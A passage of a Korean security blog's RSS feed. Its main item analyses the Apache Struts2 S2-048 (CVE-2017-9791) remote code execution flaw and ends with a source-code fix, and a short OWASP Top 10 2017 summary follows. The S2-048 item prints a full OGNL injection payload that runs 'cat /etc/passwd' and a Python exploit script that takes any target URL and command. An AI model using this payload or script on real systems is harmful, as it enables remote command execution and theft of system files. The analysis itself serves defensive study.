참조&lt;/b&gt;&lt;/div&gt;&lt;p&gt;https://struts.apache.org/docs/s2-052.html&lt;/p&gt;&lt;p&gt;https://medium.com/@0x00pentester/apache-struts2-rce-cve-2017-9805-4c6f58b622cb&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>취약점 분석/2009년 이후</category>
      <category>apache</category>
      <category>CVE-2017-9805</category>
      <category>exploit</category>
      <category>RCE</category>
      <category>struts</category>
      <category>Vulnerability</category>
      <category>xstream</category>
      <author>알 수 없는 사용자</author>
      <guid isPermaLink="true">https://teamcrak.tistory.com/396</guid>
      <comments>https://teamcrak.tistory.com/396#entry396comment</comments>
      <pubDate>Fri, 15 Sep 2017 10:57:44 +0900</pubDate>
    </item>
    <item>
      <title>CVE-2017-9791 Apache Struts2 Showcase Remote Code Execution (S2-048)</title>
      <link>https://teamcrak.tistory.com/395</link>
      <description>&lt;p&gt;다음 URL에 먼저 참고하시면 도움이 되실 것 같습니다.&lt;/p&gt;&lt;table class=&quot;txc-table&quot; width=&quot;717&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; border=&quot;0&quot; style=&quot;border: none; border-collapse: collapse; width: 717px;&quot; 맑은=&quot;&quot; 고딕&quot;,=&quot;&quot; sans-serif;font-size:13px&quot;=&quot;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;width: 716px; height: 56px; border-width: 1px; border-style: solid; border-color: rgb(204, 204, 204); background-color: rgb(212, 244, 250);&quot;&gt;&lt;p&gt; https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9791&lt;/p&gt;&lt;p&gt;&amp;nbsp;http://struts.apache.org/docs/s2-048.html&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;테스트는 CentOS 6.9에서 Apache Struts 2.3.15.1 버전을 구성하여 진행하였습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;다음과 같은 공격구문을 URL 인코딩 한 후 name 파라미터에 입력 시도합니다.&lt;/p&gt;&lt;table class=&quot;txc-table&quot; width=&quot;719&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; border=&quot;0&quot; style=&quot;border: none; border-collapse: collapse; width: 719px;&quot; 맑은=&quot;&quot; 고딕&quot;,=&quot;&quot; sans-serif;font-size:13px&quot;=&quot;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;width: 718px; height: 174px; border-width: 1px; border-style: solid; border-color: rgb(204, 204, 204); background-color: rgb(212, 244, 250);&quot;&gt;&lt;p&gt; %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;공격구문을 입력하여 접근할 경우 RCE(Remote Command Execution)가 발생하는 것을 확인하였습니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2559054B5971CC802E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2559054B5971CC802E&quot; width=&quot;720&quot; height=&quot;455&quot; filename=&quot;170721_0002.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;[그림 1] 취약한 Apache Struts 버전의 테스트 화면&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;위의 공격구문을 이용하여 다음과 같이&amp;nbsp;공격코드를 작성합니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;table class=&quot;txc-table&quot; width=&quot;684&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; border=&quot;0&quot; style=&quot;border:none;border-collapse:collapse;;font-family:&quot; 맑은=&quot;&quot; 고딕&quot;,=&quot;&quot; sans-serif;font-size:13px&quot;=&quot;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;width: 684px; height: 787px; border-width: 1px; border-style: solid; border-color: rgb(204, 204, 204); background-color: rgb(212, 244, 250);&quot;&gt;&lt;p&gt; # -*- coding: utf-8 -*-&lt;/p&gt;&lt;p&gt;&amp;nbsp;import sys&lt;/p&gt;&lt;p&gt;&amp;nbsp;import requests&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;def exploit(url, cmd):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload = &quot;%{&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;(#_='multipart/form-data').&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;(#_memberAccess?&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;(#_memberAccess=#dm):&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;((#container=#context['com.opensymphony.xwork2.ActionContext.container']).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;(#ognlUtil.getExcludedPackageNames().clear()).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;(#ognlUtil.getExcludedClasses().clear()).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;(#context.setMemberAccess(#dm)))).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;(#cmd='%s').&quot; % cmd&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;(#p=new java.lang.ProcessBuilder(#cmds)).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;(#p.redirectErrorStream(true)).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;(#process=#p.start()).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;payload += &quot;(#ros.flush())&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; payload += &quot;}&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;data = {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&quot;name&quot;: payload,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&quot;age&quot;: 26,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&quot;__checkbox_bustedBefore&quot;: &quot;true&quot;,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&quot;description&quot;: &quot;S2-048&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;gt; -- snip --&amp;lt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;if __name__ == '__main__':&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;if len(sys.argv) != 3:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;print &quot;usage: python %s &amp;lt;url&amp;gt; &amp;lt;cmd&amp;gt;&quot; % (sys.argv[0])&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;sys.exit(0)&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;print &quot;[*] exploit Apache Struts2 S2-048&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;url = sys.argv[1]&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;cmd = sys.argv[2]&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;exploit(url, cmd)&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;작성한 공격코드를 실행할 경우 프록시를 이용하여 공격한 결과와 동일한 결과를 얻을 수 있습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/24121D4C5971CDBD15&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F24121D4C5971CDBD15&quot; width=&quot;720&quot; height=&quot;475&quot; filename=&quot;170721_0005.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;[그림 2] 작성한 공격코드 실행 - 1&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/24270E4C5971CDBD0E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F24270E4C5971CDBD0E&quot; width=&quot;720&quot; height=&quot;475&quot; filename=&quot;170721_0006.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center;&quot;&gt;[그림 3] 작성한 공격코드 실행 - 2&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;프록시를 통해 공격구문을 입력하여 접근 시, strace를 통해 분석하였습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/258AA7335971CFF931&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F258AA7335971CFF931&quot; width=&quot;720&quot; height=&quot;321&quot; filename=&quot;170721_0019.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;[그림 4] 요청 값 확인&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/216AFF335971CFFA36&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F216AFF335971CFFA36&quot; width=&quot;720&quot; height=&quot;263&quot; filename=&quot;170721_0021.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;[그림 5] 자식 프로세스 생성&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/225B81335971CFFB02&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F225B81335971CFFB02&quot; width=&quot;720&quot; height=&quot;206&quot; filename=&quot;170721_0022.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;[그림 6] /bin/bash 명령어 실행&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/244CE0335971CFFC39&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F244CE0335971CFFC39&quot; width=&quot;720&quot; height=&quot;217&quot; filename=&quot;170721_0023.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;[그림 7] /bin/cat 명령어 실행&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/21B0CE335971CFFD10&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F21B0CE335971CFFD10&quot; width=&quot;720&quot; height=&quot;296&quot; filename=&quot;170721_0024.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;[그림 8] /etc/passwd 파일 일기&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/264FD7335971CFFE03&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F264FD7335971CFFE03&quot; width=&quot;720&quot; height=&quot;345&quot; filename=&quot;170721_0027.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;[그림 9] /etc/passwd 파일 내용&amp;nbsp;응답&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;해당 취약점은 소스코드 수정을 통해 조치할 수 있습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/239E99335971D28719&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F239E99335971D28719&quot; width=&quot;720&quot; height=&quot;396&quot; filename=&quot;170721_0028.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;[그림 10] 취약한 SaveGangsterAction.java&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2562CF335971D27104&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2562CF335971D27104&quot; width=&quot;720&quot; height=&quot;394&quot; filename=&quot;170721_0030.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;[그림 11] 조치된 SaveGangsterAction.java&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;위와 같이 소스코드 수정을 통해 조치된 것을 확인하였습니다.&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/24E5A5335971D27219&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F24E5A5335971D27219&quot; width=&quot;720&quot; height=&quot;455&quot; filename=&quot;170721_0032.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;[그림 12] 조치 확인&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>취약점 분석/2009년 이후</category>
      <author>알 수 없는 사용자</author>
      <guid isPermaLink="true">https://teamcrak.tistory.com/395</guid>
      <comments>https://teamcrak.tistory.com/395#entry395comment</comments>
      <pubDate>Fri, 21 Jul 2017 19:38:37 +0900</pubDate>
    </item>
    <item>
      <title>OWASP Top10 2017</title>
      <link>https://teamcrak.tistory.com/394</link>
      <description>&lt;p&gt;OWASP TOP 10 - 2017 RC1 버전이 4월 10일 자로 공개되었습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;아직까지는 최종 버전이 아닌 RC(Release Candidate) 버전으로 2017년 8월 25일까지 의견 수렴 후 새로운 OWASP Top 10 2017는 2017년 11월 말에 공개될 예정입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;해당 내용은 아래의 URL에서 확인하실 수 있습니다.&lt;/p&gt;&lt;p&gt;https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;2013년 버전과 비교하여 내용적인 변화는 크게 없으며 일부 취약점이 통합되고 신규 취약점이 추가되었습니다.&lt;/p&gt;&lt;p&gt;변화된 내용은 아래와 같습니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 720px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/217E684F596C435216&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F217E684F596C435216&quot; width=&quot;720&quot; height=&quot;336&quot; filename=&quot;170717_0001 - 복사본.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;통합된 항목:&lt;/b&gt;&lt;/p&gt;&lt;p&gt;A4 - Broken Access Control&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;추가된 항목:&lt;/b&gt;&lt;/p&gt;&lt;p&gt;A7 - Insufficient Attack Protection&lt;/p&gt;&lt;p&gt;A10 - Underprotected APIs&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;A4 - Broken Access Control (취약한 접근 통제)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;2013-A4, 2013-A7의 내용이 2017-A4으로 합쳐지는 것으로 확인할 수 있습니다.&lt;/p&gt;&lt;p&gt;내용을 확인해보면 2013-A4 Insecure Direct Object References(취약한 직접 객체 참조)와 2013-A7 Missing Function Level Access Control(단계적 접근 제한 기능 누락) 이 두 부분이 통합되었습니다.&lt;/p&gt;&lt;p&gt;Broken Access Control은 OWASP TOP 10 - 2003/2004 버전에 있던 취약점 항목입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;인증되지 않은 사용자가 데이터에 접근하거나 기능들을 수행할 수 있는 취약점입니다.&lt;/p&gt;&lt;p&gt;신뢰할 수 없는 출처에서 직접 참조를 사용할 때마다 사용자가 요청된 자원에 대한 권한을 부여받았는지 확인하기 위해 액세스 제어 검사가 포함되어야 합니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;A7 - Insufficient Attack Protection (불충분한 공격 방어)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;대부분의 어플리케이션 및 API는 수동/자동화된 공격에 대하여 탐지, 예방, 대응할 수 있는 기본 기능이 부족합니다.&lt;/p&gt;&lt;p&gt;어플리케이션 소유자는 공격으로부터 보호할 수 있도록 신속하게 패치를 배포할 수 있어야 합니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;A10 - Underprotected APIs (보호되지 않은 API)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;최근 어플리케이션은 일종의 API(SOAP/XML, REST/JSON, RPC, GWT, 등)에 연결되는 브라우저 및 모바일 어플리케이션의 JavaScript와 같은 Rich Client Application과 API을 포함되는 경우가 많습니다. 이 API는 보호되지 않는 경우가 많으며, 다양한 취약점이 존재합니다.&lt;/p&gt;&lt;p&gt;클라이언트와 API 사이의 통신이 보호되고 있는지 확인해야 하며 API에 강력한 인증방식이 모든 인증 정보, 키 및 토큰이 보호되고 있는지 확인해야 합니다.&lt;/p&gt;</description>
      <category>웹 어플리케이션</category>
      <author>알 수 없는 사용자</author>
      <guid isPermaLink="true">https://teamcrak.tistory.com/394</guid>
      <comments>https://teamcrak.tistory.com/394#entry394comment</comments>
      <pubDate>Mon, 17 Jul 2017 11:29:57 +0900</pubDate>
    </item>
  </channel>
</rss>